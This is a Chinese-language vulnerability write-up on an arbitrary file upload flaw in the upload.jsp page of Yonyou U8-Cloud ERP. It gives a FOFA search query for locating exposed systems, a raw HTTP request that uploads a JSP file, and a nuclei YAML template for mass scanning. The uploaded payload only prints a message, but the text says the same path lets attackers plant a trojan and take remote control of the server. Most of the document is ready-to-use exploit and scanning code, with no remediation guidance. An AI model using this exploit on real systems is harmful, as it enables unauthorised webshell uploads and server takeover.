用友U8-Cloud upload.jsp 任意文件上传漏洞
漏洞简介
U8 cloud 聚焦成长型、创新型企业的云 ERP,基于全新的企业互联网应用设计理念,为企业提供集人财物客、产供销于一体的云 ERP 整体解决方案,全面支持多组织业务协同、智能财务,人力服务、构建产业链智造平台,融合用友云服务实现企业互联网资源连接、共享、协同。
该系统upload.jsp存在任意文件上传漏洞,攻击者可通过该漏洞上传木马,远程控制服务器
漏洞复现
fofa语法:app="用友-U8-Cloud"
登录页面如下:
POC:
POST /linux/pages/upload.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
filename: hack.jsp
Content-Length: 56
<% out.println("The website has vulnerabilities!!");%>
访问上传后的文件http://ip:port/linux/hack.jsp
nuclei批量yaml文件
id: yonyou_U8Cloud_upload
info:
name: 用友U8-Cloud upload.jsp 任意文件上传漏洞
author: mhb17
severity: critical
description: description
reference:
- https://
tags: upload
variables:
file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
requests:
- raw:
- |-
POST /linux/pages/upload.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
filename: {{file_name}}
Content-Length: 56
<% out.println("The website has vulnerabilities!!");%>
- |-
GET /linux/{{file_name}} HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
req-condition: true
matchers:
- type: dsl
condition: and
dsl:
- 'contains((body_2), "The website has vulnerabilities!!") && status_code_2 == 200'